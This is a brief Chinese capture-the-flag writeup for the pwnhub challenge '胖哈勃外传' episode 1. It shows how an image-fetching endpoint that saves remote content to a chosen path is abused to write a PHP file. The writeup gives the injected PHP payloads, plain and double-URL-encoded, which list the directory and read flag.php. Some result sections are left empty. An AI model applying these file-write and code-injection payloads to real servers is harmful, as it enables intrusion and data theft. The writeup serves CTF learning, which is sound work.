pwnhub——胖哈勃外传-第一集 writeup

第一步 查找漏洞

<script src="http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg"></script>

console.log('logo.jpg update sucess!')
查看http://54.223.231.220/logo.jpg发现二维码
说明url将127.0.0.1:8888/test.png二维码存至logo.jpg下
典型的csrf跨站点请求访问

第二步 再查找漏洞

<script src="http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg"></script>

http://54.223.231.220/?date/2016-07/

第三步 伪造请求

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/?date/2016-07<?php foreach(glob("./*") as $i) {echo $i;}?>/&path=yz.php
//注意二次编码为 http://54.223.231.220/image.php?file=http://127.0.0.1:8888/?date/2016-07%253c%253fphp%2520foreach(glob(%2522.%252f*%2522)%2520as%2520%2524i)%2520%257becho%2520%2524i%253b%257d%253f%253e/&path=yz.php[/code] 
得到



发现flag.php

现在把他读出来

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/?date/2016-07<?php echo file_get_contents('flag.php')?>/&path=yz.php
二次编码为 http://54.223.231.220/image.php?file=http://127.0.0.1:8888/?date/2016-07%253c%253fphp%2becho%2bfile_get_contents(%2527flag.php%2527)%253f%253e/&path=yz.php[/code] 
得到